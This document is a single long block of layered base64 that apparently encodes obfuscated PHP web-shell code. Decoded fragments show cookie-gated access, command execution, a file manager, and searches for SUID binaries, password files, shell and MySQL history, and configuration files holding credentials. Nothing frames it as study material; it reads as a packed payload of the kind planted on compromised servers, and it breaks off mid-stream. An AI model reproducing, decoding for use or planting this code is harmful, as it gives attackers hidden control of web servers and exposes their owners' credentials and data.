Wc2MyNVRSbEpWVlVZNVNWUXhUbFZLTVRCd1RFTkJhMWxZVmpCaFJqbDNXVmhPZWt0VWMwdEpRVzluU1VOQloyRlhXV2RMUTBad1l6Tk9iR1JEWjJ0WU1FNVFWREIwU2xKV2RIUmFSRlZ2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVFJUbFVWa05rWkV0V01IQkpTSGc0U1VObmExZ3dUbEJVTUhSS1VsWjBkRnBFVlc5S1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psTkZPVlJXUTJSa1MxWXdaMGxVTUdkS1IwWXhaRWRvWm1OSFJucGplV3R3UTJsQlowbERRV2RKUTBGblpETk9kbFJIT1c1aFZ6UnZTMVJ6UzJaUmIyZERiV3h0UzBoT01HTnVVblppUnpreldsaEpiMk16Vm1sak0xSjVTMFpDU1ZWR09WQlZlWGQzVEVSTmNFdFRRVGxRVTBGcFpESnNkVWxwYTB0SlEwRm5TVU5TZG1ONVFUbEpRMlF6WVZjMGJrOTNjR3hpU0U1c1EybEJaMGxEUVd0aU0wMW5VRk5CYm1KdGJEUktlbk5MU1VGdmEyTXlSbTFhVmpsMFlqSlNiRWxFTUdkUlIyeDFZVlk1YmxwWVVXOUtNMDVvV20xV1ptSlhPV3RhVTJOd1QzZHdjRnBwWjJoS1NFNW9XbTFXWm1KWE9XdGFVMnRMU1VOQlowbEhWbmxqYlRsNVdETktiR05IT1hsa1IyeDFXbmxuZDB0VWMwdEpRVzlyV2tkc2VsbFhTbk5hVmpsdFpGYzFhbVJIYkhaaWJrMW5VRk5DUVdGWE5YQllNbVJzWkVObmJscEhiSHBaVjBweldsWTViV1JYTldwa1IyeDJZbTVOYmt0VWMwdEtSMmgyWWxkV1psa3paR3RKUkRCblVVZGtiR1JIVGpOYVEyZHdUM2R3Y0ZwcGFIQmpNMDVzWkVObmExZ3hRbEJWTVZKaVNqSk5ibGhUYTNCRGFVRm5TVU5DUVZreWFHdGhXRWx2U2tZNVVWUXhUbFZYZVdScVNqRXdjRTkzYjJ0Wk0yUnJTVVF3WjFGSFpHeGtSMDR6V2tObmNFOTNjSEJhYVdkcllqTk5aMUJVTUdkS00yUndZbWxqY0VsSWMwdEpRMEZuU1VOU2IySXlNV3hZTWs0eldrTkJPVWxJVGpCamJEbDVXbGhDYzFsWFRteExRMHBqV0VOSmMwbERTWFpKYVhkblNrZG9kbUpYVm1aWk0yUnJTMVJ6UzBsRFFXZEpRMUpxWkRKUloxQlRRbnBrU0VwbVkyMVdkMkpIUm1wYVUyZHBXRVozYVV4RFFXbE1lVWx6U1VOU2FtUXlVWEJQZDNBNVEyMXNiVXREVW1wa01sSmlZek5TZVdKSFZuVkxRMUpxWkRKUmNFeFVSbVJKUTBVNVNVTmpka3A1YTB0SlEwRm5TVU5TYW1ReVVXZE1hakJuU25rNGJrOTNiMmREYld4dFMwTkdjR016VG14a1EyZHJXREJPVUZRd2RFcFNWblIwV2tSVmIwcEdPVlJTVmtwWFVsWktZa293YUZWV1JrSm1VMFU1VkZaRFpHUkxVMEYxU1VOa2FHRnRSalJLTVRCd1MxRnZaMGxEUVdkS1JqbEVWREE1VEZOVlZtSmlWMUV4UzBOU1psVXdWbE5XYTFaVFYzbGtTVlpHVWxGWU1HaFFWVEZSYmxoVGEyZE1hVUZ1V1Zkd2FHVkRaR1JKUkRCblMwZEtkbUl5ZDNCS1IxSnNXbTFHTVdKSVVtWmtXRTVzV0RKR2NWbFlaemREYVVGTFlWZFpiMHBIT1hwSlJEQTVTVU5rTTJGWE5HNUxVVzluU1VOQlowcEhSbk5oVjBaNldsaE5aMUJUUW1oamJrcG9aVk5uUzBsRFFXZEpRMEZuU1VOQmFWUkhiSHBrUTBKRllWaEtiRmt6VW5aamJtdHBTVVF3SzBsRFNtdGhXRWxwVEVGdlowbERRV2RKUTBGblNVTktSMkZYTld0SlIyeDFXa2RXTkV4dVFtOWpRMEp3WW1sQ2FtUllTbmxhVnpVd1NVZFNjR05wU1dkUVZEUm5TVzFTY0dOcFFYWmplVUYyWkhsQmRsbHBRbkJpYlZKc1pVTTFkMkZJUVdsTVFXOW5TVU5CWjBsRFFXZEpRMHBIWVZjMWEwbERjR3BpTWpWdFlWZGpjVXh1UW05alEwSndZbWxDYW1SWVNubGFWelV3U1VkU2NHTnBTV2RRVkRSblNXMVNjR05wUVhaamVVRjJaSGxCZGxscFFYRlpNamwxV20xc2JrdHBOWGRoU0VGcFRFRnZaMGxEUVdkSlEwRm5TVU5LVkdGSE9UTkpSMFpxWkVkc01scFRRbXBpTWpWMVdsZE9NR0ZYT1hWamVVbG5VRlEwWjBsdE5XeGtTRTR3V1ZoUloweFhSblZKYVhkTFNVTkJaMGxEUVdkSlEwRnBWVEpvZG1SNVFubGtWelYxWVZjMWJrbElUbXhqYmxwd1dUSldla2xwUVRsUWFVRnBZbTFXTUVsSVRqQlpXRW93U1dsM1MwbERRV2RKUTBGblNVTkJhVlpZVG14amFVSm9XVEpPZG1SWE5UQmplVWxuVUZRMFowbHROV3hrUTBJeFl6SldlVWxwZDB0SlEwRm5TVU5CWjBsRFFXbFZNbWgyWkhsQ2FtSXlNWGRrV0ZKc1kyNU5hVWxFTUN0SlEwcDFXbGhSWjJSdGJHeGtlVWx6UTJsQlowbERRV2RKUTBGblNXdEdVMVZEUWxWWlYwcHpXbE5KWjFCVU5HZEpiVVo1WTBOQmRGbFRTWE5EYVVGblNVTkJaMGxEUVdkSmEyeFJTVVZPZG1KdFduQmFNMVo1V1ZoU2NHSXlOR2xKUkRBclNVTktjR05IVG5aaWJWcHdXbmxCZGxsWGVITkpaMjluU1VOQlowdFVjMHRhVjNoNldsRnZaMGxEUVdkS1IwWnpZVmRHZWxwWVRXZFFVMEpvWTI1S2FHVlRaMHRKUTBGblNVTkJaMGxEUVdsVVIyeDZaRU5DYTJGWVNXbEpSREFyU1VOS2MyTjVRWFJpUjJob1NXbDNTMGxEUVdkSlEwRm5TVU5CYVdKSGJIcGtRMEp0WVZkNGJFbEhSakJrU0Vwd1dXNVdNRnBZVFdkaU1qUm5XVk5DVFdGWE5URmxRMEo2V2xkT2RtSnRVV2RhV0dnd1dsYzFhMXBYVVdkYWJXeHpXbE5DZW1WWVRqQmFWekJwU1VRd0swbERTbk5qTWtZd1pFaEpaMHhZV21oSmFYZExTVU5CWjBsRFFXZEpRMEZwWXpKb2RtUjVRblpqUjFaMVdsZFJaMk5IT1hsa1NFMXBTVVF3SzBsRFNuVmFXRko2WkVkR01FbERNV2hpYVVJNFNVZGtlVnBZUVdkTVYydG5Za2RzZW1SSFZuVkphWGRMU1VOQlowbERRV2RKUTBGcFkwaEtkbGt5Vm5wamVVSjZaRWRHTUdSWVRXbEpSREFyU1VOS2QyTjVRbWhrV0dkcFRFRnZaMGxEUVdkSlEwRm5TVU5LUjJGWE5XdEphVUU1VUdsQmFVbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05DZW1SWGJHdEphVUU1VUdsQmFWcHRiSFZhUTBGMlNVTXhNR1ZZUW14SlIxbG5URmhDYkdOdE1HZE1WRUV3VFVSQmQwbERNWE5qZVVselEybEJaMGxEUVdkSlEwRm5TVzFhY0dKdFVXZGpNMVp3V2tOQ2NHSnBRbXBrV0VwNVdsYzFNRWxIVW5CamFVbG5VRlEwWjBsdFduQmliVkZuVEdsQmRHUkliSGRhVTBKdFNVTXhkMXBZU25SSlF6QjNUa1JCZDAxRFFYUmlTRTFwVEVGdlowbERRV2RKUTBGblNVTktiV0ZYTld0SlNFNXVZVmRSYVVsRU1DdEpRMHB0WVZjMWEwbERPR2RNV0ZJMVkwZFZaMXBwUVhSalIxWjVZbE5CZEUxRVNYZE5SRUZuVEZkNGVrbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05DZWxveWJHdEpSMXB3WWtkV2VrbEhiSFZKUjA0eFkyNUtiR0p1VVdkYVIyeDVTV2xCT1ZCcFFXbGFiV3gxV2tOQmRVbERNVEJsV0VKc1NVZFpaMHhZUW14amJUQm5URlJCZVUxRVFYZEpRekZ6WTNsSmMwTnBRV2RKUTBGblNVTkJaMGx0V25CaWJWRm5XVEk1ZFZwdGJHNU1iV3gxV1hrMWQyRklRV2xKUkRBclNVTktiV0ZYTld0SlF6aG5URmhTTldOSFZXZGFhVUYwWW0xR2RGcFRRbXBpTWpWdFlWZGpkV0ZYTldwTWJrSnZZME5KYzBOcFFXZEpRMEZuU1VOQlowbHRXbkJpYlZGbldUSTVkVnB0Ykc1TGFVbG5VRlEwWjBsdFduQmliVkZuVEhsQmRHUkliSGRhVTBKdFNVTXhkVmxYTVd4SlJuZHBXVEk1ZFZwdGJHNUxiSGRwU1dsM1MwbERRV2RKUTBGblNVTkJhVnB0YkhWYVEwSnFZakkxYldGWFkzRkpSMngxU1VkT01XTnVTbXhpYmxGbldrZHNlVWxwUVRsUWFVRnBXbTFzZFZwRFFYVkpRekV3WlZoQ2JFbEhXV2RNVnpWb1lsZFZaMWhEU21waU1qVnRZVmRqY1ZoRFNXbE1RVzluU1VOQlowbERRV2RKUTBwdFlWYzFhMGxJWkhsaFdGSm9XVzE0YkVsSFduWmlSMUpzWTI1TloxbFhOV3RKUjFwd1lrZFdla2xwUVRsUWFVRnBXbTFzZFZwRFFYWkpRekYzV2xoS2RFbERNSGxKUXpGelkzbEpjME5wUVdkSlEwRm5TVU5CWjBsdFduQmliVkZuWkROS2NHUkhSbWxpUjFWbldtMDVjMXBIVm5samVVSm9ZbTFSWjFwdGJITmFXRTFuWVZjMFoxa3pWbmxqYlZaMVpFTkNhMkZZU1dsSlJEQXJTVU5LYldGWE5XdEpRelJuVEZoQ2JHTnRNR2RNVkVsblRGZDRla2xwZDB0SlEwRm5TVU5CWjBsRFFXbGFiV3gxV2tOQ2VscFlTakpoVjA1c1RHNUNNMXBEU1dkUVZEUm5TVzFhY0dKdFVXZE1lVUYwWkVoc2QxcFRRbTFKUXpGMVdWY3hiRWxJVG14amJscHdXVEpWZFdOSVpHdEphWGRMU1VOQlowbERRV2RKUTBGcFdtMXNkVnBEUW5wYVdFb3lZVmRPYkV4dVFqTmFRMEp0WVZkNGJHTjVRbkJpYVVKcVpGaEtlVnBYTlRCSlIxSndZMmxKWjFCVU5HZEpiVnB3WW0xUloweHBRWFJrU0d4M1dsTkNiVWxETVhWWlZ6RnNTVWhPYkdOdVduQlpNbFYxWTBoa2EwbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05CZFdGSVVuZFpXRTU2WkRKUmFVbEVNQ3RKUTBwdFlWYzFhMGxET0dkTVdGSTFZMGRWWjFwcFFYUmliVVowV2xOQmRXRklVbmRaV0U1NlpESlJhVXhCYjJkSlEwRm5TVU5CWjBsRFNtMWhWelZyU1VNMWIyUklRbWhqTTA0eldrTkNiV0ZYZUd4amVVSndZbWxDYW1SWVNubGFWelV3U1VkU2NHTnBTV2RRVkRSblNXMWFjR0p0VVdkTWFVRjBaRWhzZDFwVFFtMUpRekYxV1ZjeGJFbEROVzlrU0VKb1l6Tk9NMXBEU1hORGFVRm5TVU5CWjBsRFFXZEpiVnB3WW0xUloweHRTbWhqTW1obVlVZHNlbVJIT1hsbFUwbG5VRlEwWjBsdFduQmliVkZuVEhsQmRHUkliSGRhVTBKdFNVTXhkVmxYTVd4SlF6VnBXVmhPYjFneWFIQmpNMUoyWTI1cmFVeEJiMmRKUTBGblNVTkJaMGxEU20xaFZ6VnJTVU0xYVZsWVRtOVlNbWh3WXpOU2RtTnVhMmRhYld4eldsaE5aMkZYTkdkWk0xWjVZMjFXZFdSRFFtdGhXRWxwU1VRd0swbERTbTFoVnpWclNVTTBaMHhZVWpWalIxVm5XbWxCZEdKdFJuUmFVMEYxV1cxR2VtRkdPVzloV0U0d1lqTktOVWxwZDB0SlEwRm5TVU5CWjBsRFFXbGFiV3gxV2tOQmRWcHRWakJaTW1oMFdWZHNjMk50VFdsSlJEQXJTVU5LYldGWE5XdEpRemhuVEZoU05XTkhWV2RhYVVGMFltMUdkRnBUUVhWYWJWWXdXVEpvZEZsWGJITmpiVTFwVEVGdlowbERRV2RKUTBGblNVTktiV0ZYTld0SlF6VnRXbGhTYW1GSE1XaGhWM2g1V1hsQ2JXRlhlR3hqZVVKd1ltbENhbVJZU25sYVZ6VXdTVWRTY0dOcFNXZFFWRFJuU1cxYWNHSnRVV2RNYVVGMFpFaHNkMXBUUW0xSlF6RjFXVmN4YkVsRE5XMWFXRkpxWVVjeGFHRlhlSGxaZVVselEybEJaMGxEUVdkSlEwRm5TV3Q0ZGxreVJqQmFVMGxuVUZRMFowbHBTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFtOWtTRkozV2tNMWFtSXlOVzFKYVVFNVVHbEJhV0pIT1dwWldGSnNTVWRvTUdSSVFtdE1iVTUyWW0xWmFVeEJiMmRKUTBGblNVTkJaMGxEU25OaU1rNW9aRWRWWjJSdGFIWmpNMUo2VEcxT2RtSnRXV2xKUkRBclNVTktjMkl5VG1oa1IxVm5aRzFvZG1NelVucE1iVTUyWW0xWmFVeEJiMmRKUTBGblNVTkJaMGxEU25OaU1rNW9aRWRWWjJOSVNuWmFibEozV2tNMWFtSXlOVzFKYVVFNVVHbEJhV0pIT1dwWldGSnNTVWhDZVdJeVdqQmpSMUYxV1RJNWRWcHBTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFuZGpNMnhwWW0xTmRWa3lPWFZhYVVsblVGUTBaMGx0ZUhaWk1rWXdXbE5DZDJNemJHbGliVTExV1RJNWRWcHBTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFuUmxVelZxWWpJMWJVbHBRVGxRYVVGcFlrYzVhbGxZVW14SlJ6RTFURzFPZG1KdFdXbE1RVzluU1VOQlowbERRV2RKUTBwellqSk9hR1JIVldkWlYxSjBZVmMwZFdOSGFIZEphVUU1VUdsS2MySXlUbWhrUjFWbldWZFNkR0ZYTkhWalIyaDNTV2wzUzBsRFFXZEpRMEZuU1VOQmFXSkhPV3BaV0ZKc1NVZE9iVnA1TlhkaFNFRnBTVVF3SzBsRFNuTmlNazVvWkVkVloxa3lXbTVNYmtKdlkwTkpjME5wUVdkSlEwRm5TVU5CWjBsdGVIWlpNa1l3V2xOQ2FtSXlOVzFNYmtKdlkwTkpaMUJVTkdkSmJYaDJXVEpHTUZwVFFtcGlNalZ0VEc1Q2IyTkRTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFtcGlNalZ0WVZkamRWcEhSakJKYVVFNVVHbEJhV0pIT1dwWldGSnNTVWRPZG1KdFduQmFlVFZyV1ZoUmFVeEJiMmRKUTBGblNVTkJaMGxEU25OaU1rNW9aRWRWWjFreU9YVmFiV3h1VEc1Q2IyTkRTV2RRVkRSblNXMTRkbGt5UmpCYVUwSnFZakkxYldGWFkzVmpSMmgzU1dsM1MwbERRV2RKUTBGblNVTkJhV0pIT1dwWldGSnNTVWRPZG1KdFduQmFlVFZ3WW0xTmFVbEVNQ3RKUTBwellqSk9hR1JIVldkWk1qbDFXbTFzYmt4dGJIVlplVWx6UTJsQlowbERRV2RKUTBGblNXMTRkbGt5UmpCYVUwSnFZakkxYldGWFkzVmhWelZxVEc1Q2IyTkRTV2RRVkRSblNXMTRkbGt5UmpCYVUwSnFZakkxYldGWFkzVmhWelZxVEc1Q2IyTkRTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFtcGlNalZ0WVZkamRWcEhWbTFaV0ZaelpFTTFkMkZJUVdsSlJEQXJTVU5LYzJJeVRtaGtSMVZuV1RJNWRWcHRiRzVNYlZKc1dtMUdNV0pJVVhWalIyaDNTV2wzUzBsRFFXZEpRMEZuU1VOQmFXSkhPV3BaV0ZKc1NVZE9kbUp0V25CYWVXOXBTVVF3SzBsRFNuTmlNazVvWkVkVloxa3lPWFZhYld4dVNXbDNTMGxEUVdkSlEwRm5TVU5CYVdKSE9XcFpXRkpzU1VNMWFtSXlOVzFKYWpBclNXMTRkbGt5UmpCYVUwRnVURzFPZG1KdFdXNUphWGRMU1VOQlowbERRV2RKUTBGcFlrYzVhbGxZVW14SlF6VjNaREpSYVVsRU1DdEpRMHB6WWpKT2FHUkhWV2RLZVRWM1pESlJia2xwZDB0SlEwRm5TVU5CWjBsRFFXbGlSemxxV1ZoU2JFbEROWHBqVjNkcFNVUXdLMGxEU25OaU1rNW9aRWRWWjBwNU5YcGpWM2R1U1dsM1MwbERRV2RKUTBGblNVTkJhV0pIT1dwWldGSnNTVU0xYjJSSVFtaGpNMDR6V2tOSloxQlVOR2RKYlhoMldUSkdNRnBUUVc1TWJXZ3dZMGRHZW1NelpHdEtlVWx6UTJsQlowbERRV2RKUTBGblNXMTRkbGt5UmpCYVUwRjFXVzFHZW1GR09XOWhXRTR3WWpOS05VbHBRVGxRYVVGcFlrYzVhbGxZVW14SlEyTjFXVzFHZW1GR09XOWhXRTR3WWpOS05VcDVTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFYVmlXR3g2WTFkNFptRkhiSHBrUnpsNVpWTkpaMUJVTkdkSmJYaDJXVEpHTUZwVFFXNU1iVEUxWXpOR2MxZ3lhSEJqTTFKMlkyNXJia2xwZDB0SlEwRm5TVU5CWjBsRFFXbGlSemxxV1ZoU2JFbEROVzFhV0ZKcVlVY3hhR0ZYZUhsWmVVbG5VRlEwWjBsdGVIWlpNa1l3V2xOQmJreHRXbXhrUjA1dllsZEdjR0pJU21wS2VVbHpRMmxCWjBsRFFXZEpRMEZuU1cxNGRsa3lSakJhVTBKcFdWZE9jbVJZUVdsSlJEQXJTVU5LYzJJeVRtaGtSMVZuV1cxR2FtRXpWbmRKYVhkTFNVTkJaMGxEUVdkSlEwRnBZa2M1YWxsWVVteEpSMUl4WWxoQmFVbEVNQ3RKUTBwellqSk9hR1JIVldkYVNGWjBZME5KYzBOcFFXZEpRMEZuU1VOQlowbHRlSFpaTWtZd1dsTkNkMk50YkRKSmFVRTVVR2xCYVdKSE9XcFpXRkpzU1VoQ2VXRllXV2xEYVVGblNVTkJjRTkzYjJkRGJWb3hZbTFPTUdGWE9YVkpTR1I2WWpCb2JGbFhVbXhqYVdkd1NVaHpTMGxEUVdkSlIyeHRTMGRXZEdOSVVqVkxRMUptVlVVNVZGWkdjMjVaTW1ob1kyNU9iR1JEWkdSTFUydExTVU5CWjBsRFFXZEpRMEZyV0RGQ1VGVXhVbUpLTWs1dldWaEtlbHBZVVc1WVUwRTVTVU5TU0ZSRk9VTlJWWGhVVjNsa2ExcFhXbWhrVjNnd1dESk9iMWxZU25wYVdGRnVXRlJ6UzBsRFFXZEpSMlJ6WWpKS2FHSkRRV3RaTWpsellqTkpOME5wUVdkSlEwSnNXVEpvZGtsRFNUaGhTRkowWWtRME9HRkhWbWhhUkRRNFlsZFdNRmxUUW05a1NGSjNURmRXZUdSWGJESlFVMlJFWWpJMU1GcFhOVEJNVmxJMVkwZFZia2xIVG5aaWJsSnNZbTVST1VvelVteGxTRkYyWVVoU2RHSkVjMmRaTW1ob1kyNU9iR1JFTUdsSlF6Um5Ta1k1VVZReFRsVlhlV1JxWVVkR2VXTXlWakJLTVRCblRHbEJhVXA2TkRoa1Iyd3dZa2RWSzBscFFYVkpRMUptVlRCV1UxWnJWbE5YZVdSSlZrWlNVVmd3YUZCVk1WRnVXRk5CZFVsRFNXZE1VMEpZVlRBNFowbHBRWFZKUm1SVVZERTVWMUpXU2xSVFZUbFBTVU0wYVZCRE9UQmhXRkp6V2xRMFMxQklUakJsVjNoc1VHZHdhV0l5VWpWbE1rcG9XVEowYm1OdE9URmliVkYwV1RJNWMySXpTVFpKZWxFd1RrUjBhbUl5ZUhaamFtOXFXbFJHYkUxWFZYaFBNekJMV1cwNWEyVlRlREJhUTNnd1lVaHpaMXB0T1hWa1JHOW5UMWhDTUVsRmVERlpNbXhyV1ZONFYxcFlTbXRaVnpWb1R6SXhhR050WkhCaWFtOTNUek5hYkdOdVVuQlpNa1p6VEZkR2MyRlhaSFZQYmxKMlkwUjBhbUl5ZUhaamFtOXFXbFJHYkUxWFZYaFBlVUk1UTI1U2FGbHRlR3hNYld4MVdtMDVOMGxIVG5aaVJ6bDVUMmxPYlZwdFdUZFpiVVpxWVRKa2VXSXpWblZhUXpGcVlqSjRkbU5xYjJwTmFrbDVUM2xDT1VOdVRuZFpWelJ6WVVSRmMxbFljMmRaTWpsellqTkpOa2xEVW1waU1uaDJZMmxCYUdGWE1YZGlNMG93V1ZjMU1FOTVRamxEYms1M1dWYzFOMGxIV25aaWJsRjBaREpXY0ZveWFEQlBhVUpwWWpKNGExcFlTVGRKU0RCTFlVUkdOMGxIU25aamJWSnNZMmt4YzFwWFdqQlBhbFozWlVOQ2VtSXllSEJhUTBGcldUSTVjMkl6U1RkalIwWnJXa2RzZFZwNmIyZE5ia0kwU1VSV2QyVkVkRzFpTWpVd1QybEJlRTVJUWpCSlJscHNZMjFTYUdKdFJUZFpiVVpxWVRKa2VXSXpWblZhUXpGcVlqSjRkbU5xYjJwTmFrbDVUekl4YUdOdFpIQmlhbTkzWTBobk4wbElNRXRhUjJ3eVRHMU9kbUp1VW14aWJsSTNTVWhDYUZwSFVuQmliV00yU1VSV2QyVkVkSFJaV0VwdVlWYzBkR0pIVm0xa1JHOHhZMGhuTjFsdFJtcGhNbVI1WWpOV2RWcERNV3BpTW5oMlkycHZhazE2VFhwUGVVSTVRMjFHTjBsSVVteGxTRkYwV2tkV2FtSXpTbWhrUjJ4MlltcHdkV0l5Tld4UGVVSTVRMjFGTm1GSE9USmFXRW8zU1VoU2JHVklVWFJhUjFacVlqTkthR1JIYkhaaWFuQXhZbTFTYkdOdGVIQmliVlUzU1Vnd1MweHRNWE5OV0hObldXMDVlVnBIVm5sUGFrWjNaVU5DZW1JeWVIQmFRMEZxVGtSUk1FOHpRbWhhUjFKd1ltMWpOazVZUWpSUE1qRm9ZMjFrY0dKcWIzZFBNamt5V2xoS2JXSkhPVE5QYVVKb1pGaFNkazk1UWpsRGFUVnBZVmRrYUdOdFZtaGxlVUl6WVZkU01HRkViM2hOUkVGc1R6Sm9iR0ZYWkc5a1JHOTZUVVJDZDJWRWMyZG1VWEJ3WW01Q01XUkRlREJhV0dnd1dWaEtiRmxUZUhwYVYzaHNXVE5TTjBsSE1XaGpiV1J3WW1wdmQwOHlUblppUnpsNVQybE9iVnB0V1RkWmJVWnFZVEprZVdJelZuVmFRekZxWWpKNGRtTnFiMnBPVkZVeFR6SktkbU50VW14amFtOTRZMGhuWjJNeU9YTmhWMUZuU2tkT2RtSkhPWGxQZVVKdFlqSTFNRTlwUVRWalNGRm5WRmM1ZFdJelRuZFpWMDVzVEVOa1JHSXpWbmxoVjFaNVNVVTFiR1I1WXpkSlNEQkxXbTA1ZVdKWWMyZGlWMFo1V2pKc2RVOXFRbmRsUkhOblpsRnZhbVJIT1haaVNFNVZXVzE0TjBsSVVteGxTRkYwV1ZkNGNGb3lORFpaTWxaMVpFZFdlVTk1UWpsRGFUVXdZakk1YzJNd2JIVmpTSE5uWkRKc2EyUkhaelpKUkUxM1RVaENORWxJTUV0TWJURm9ZVmMwWjJSSGFEZGtSMVkwWkVNeGFHSkhiRzVpYW5CeldsZGFNRTh5U21oWk1uUnVZMjA1TVdKdFVYUlpNamx6WWpOSk5rbDZWbXhPVjFVeFdsUjBPVU5wTlhSWlYyeDFTVWhTZVU5dGFIWmtiVlo1WlRKS2FGa3lkRzVqYlRreFltMVJkRmt5T1hOaU0wazJTWHBXYkU1WFZURmFXREJMVEcxM2VHVXlTbWhaTW5SdVkyMDVNV0p0VVhSWk1qbHpZak5KTmtsNlVUQk9TREJMVEcxM2VXVXlTbWhaTW5SdVkyMDVNV0p0VVhSWk1qbHpZak5KTmtsNlRYcE5NekJMWTBoS2JHVXlXblppYmxGMFdtMUdkR0ZYZURWUGEwNTJaRmhLY0ZwWVNYTlVWemwxWWpOT2QxbFhUbXhQTXpCTFVFTTVlbVJJYkhOYVZEUkxVRWhPYW1OdGJIZGtSRFJMU1VOQlowbElXbWhqYVVKcVdIbEJPVWxEWTJsSlF6Um5ZVWhTZEdKSVRuZGFWMDV3V1ZkNGFtRkhSbmxqZVdkclVqQjRVRkZyUmsxVk1YTnVXVE5rYTBveE1IQkpRelJuU1dsak4wTnBRV2RKUTBJeVdWaEpaMWxXT0dkUVUwRnVTV2xCZFVsSGFEQmlWM2g2WTBkV2FtRlhSbk5aTW1ob1kyNU5iMUZEVW1aVlJUbFVWa1p6YmxsVFpHUkxVMEYxU1dsalMwbERRV2RKU0Zwb1kybENhbUZIUm5sak1sWXdXSGxCT1VsRFkybEpRelJuWVVoU2RHSklUbmRhVjA1d1dWZDRhbUZIUm5samVXaEJTa1k1VVZReFRsVlhlV1JxWVVkR2VXTXlWakJLTVRCd1NVTTBhVXA2YzB0SlEwRm5TVWhhYUdOcFFuZE5WamhuVUZOQmJrbHBRWFZKUTJkdll6TlNlV05IT1hwTFJVRnJXREZDVUZVeFVtSktNMEY0U2pFd2MwbHNlSFZKYVd0b1VGUXhiVmxYZUhwYVUyc3ZTbmxqTm1GSVVuUmlTRTUzV2xkT2NGbFhlR3BoUjBaNVkzbG5hMWd4UWxCVk1WSmlTak5CZUVveE1ITlNWVFZWV0RGR1ZsUXhVa1pWZVd0d1NVTTBhVXA2YzB0SlEwRm5TVWhhYUdOcFFuZE5iRGhuVUZOQmJrbHBRWFZKUTJkdll6TlNlV05IT1hwTFJVRnJXREZDVUZVeFVtSktNMEY1U2pFd2MwbHNlSFZKYVd0b1VGUXhiVmxYZUhwYVUyc3ZTbmxqTm1GSVVuUmlTRTUzV2xkT2NGbFhlR3BoUjBaNVkzbG5hMWd4UWxCVk1WSmlTak5CZVVveE1ITlNWVFZWV0RGR1ZsUXhVa1pWZVd0d1NVTTBhVXA2YzB0SlEwRm5TVWhhYUdOcFFuZE5NVGhuVUZOQmJrbHBRWFZKUTJkdll6TlNlV05IT1hwTFJVRnJXREZDVUZVeFVtSktNMEY2U2pFd2MwbHNlSFZKYVd0b1VGUXhiVmxYZUhwYVUyc3ZTbmxqTm1GSVVuUmlTRTUzV2xkT2NGbFhlR3BoUjBaNVkzbG5hMWd4UWxCVk1WSmlTak5CZWtveE1ITlNWVFZWV0RGR1ZsUXhVa1pWZVd0d1NVTTBhVXA2YzB0SlEwRm5TVWhhYUdOcFFtdEpSREJuV2tjNWFtUlhNV3hpYmxFM1EybEJaMGxEUW0xa1Z6VnFaRWRzZG1KcFFucGFXRkZ2V1ZONGFreElRWGhNU0VGNVRFaEJla3hIVG05WldFcDZXbGhSY0VsSWMwdEpRMEZuU1VOQlowbERRbkJhYVdob1NWUXhkV1JYZUhOTFYxRjFZbGRaZFZsVE5USlpWM2d4V2xReGFFOHlWbk5qTWxWbldrTTFkRnBwTldoTWJscG9Za2hXYkZCWFJtWlBkMjluU1VOQlowbERRV2RKUjJ4dFMwZE5hRkJYTlRGaVIzZHdXa00xZEZwcE5XcE1ibHBvWWtoV2JGQlhUVGRhVjNoNldsTkNhMHh0TVcxTWJVMTFaRzFHYzJSWFZUbFpNVGczUTJsQlowbERRV2RKUTBGbllWZFpiMk5FUldoUVZ6VXhZa2QzY0ZwRE5YUmFhVFYzVFZNMU1sbFhlREZhVkRGM1RWUjBiR0pJVG14SlIxRjFZbGRaZFdORVJYVmtiVVp6WkZkVk9XTkVSbVpQZDI5blNVTkJaMGxEUVdkSlIyeHRTMGhCZVVsVU1YVmtWM2h6UzFkUmRXSlhXWFZqUkVsMVpHMUdjMlJYVlRsalJFazNXbGQ0ZWxwVFFtdE1iVEZ0VEc1QmVVeHVXbWhpU0Zac1VGaEJlVmg2YzB0SlEwRm5TVU5CWjBsRFFuQmFhV2gzVFhsRk9XSnVWbk5pUTJ4clRHMHhiVXh1UVhwTWJscG9Za2hXYkZCWVFYcFBNbFp6WXpKVloxcEROWFJhYVRWM1RYazFNbGxYZURGYVZERjNUVEU0TjBOcFFXZEpRMEZuU1VOQloyRlhXVzlaTW1ob1kyNU9iR1JEUlRsaWJsWnpZa05zYTB4dE1XMU1iVTV2V1ZoS2VscFlVWFZrYlVaelpGZFZPVmt5YUdoamJrNXNaRVIwYkdKSVRteEpSMUYxWWxkWmRWa3lhR2hqYms1c1pFTTFNbGxYZURGYVZERnFZVWRHZVdNeVZqQlllbk5MU1VOQlowbElNRXRKUTBGblNVZGFNV0p0VGpCaFZ6bDFTVWRqYjFsVGVHcE1TRUY0VEVoQmVVeElRWHBNUjA1dldWaEtlbHBZVVhCSlNITkxTVU5CWjBsRFFXZEpRMEo2V2xoUmIxbFRlR3BNU0VGNFRFaEJlVXhJUVhwTVIwNXZXVmhLZWxwWVVYQlBkMjluU1VOQlowbERRV2RKUjFGMVlsZFpkV016Vm1saVYyd3dTME5yTjBOcFFXZEpRMEk1UTJsQlowbERRbTFrVnpWcVpFZHNkbUpwUW1oTFIwVnpXWGw0ZDAxVGVIZE5hWGgzVFhsNGFtRkhSbmxqTWxZd1MxTkNOME5wUVdkSlEwRm5TVU5CWjJNeVZqQkxSMFZ6V1hsNGQwMVRlSGROYVhoM1RYbDRhbUZIUm5sak1sWXdTMVJ6UzBsRFFXZEpRMEZuU1VOQ01sbFlTV2RqUjBaNVdWY3hla2xFTUdkS01rWnhXVmhuT1dSSVNqRmFVMk0zUTJsQlowbERRV2RKUTBGbldtMDVlVXRIYXpsTlJIUndVRWRSZFdKWFdYVmFWM2hzWWxkV2RXUklUWFZpUjFaMVdqTlNiMDh5YTNKTGVXdExTVU5CWjBsRFFXZEpRMEZuU1VOQloyTkhSbmxaVnpGNlNVTnpPVWxE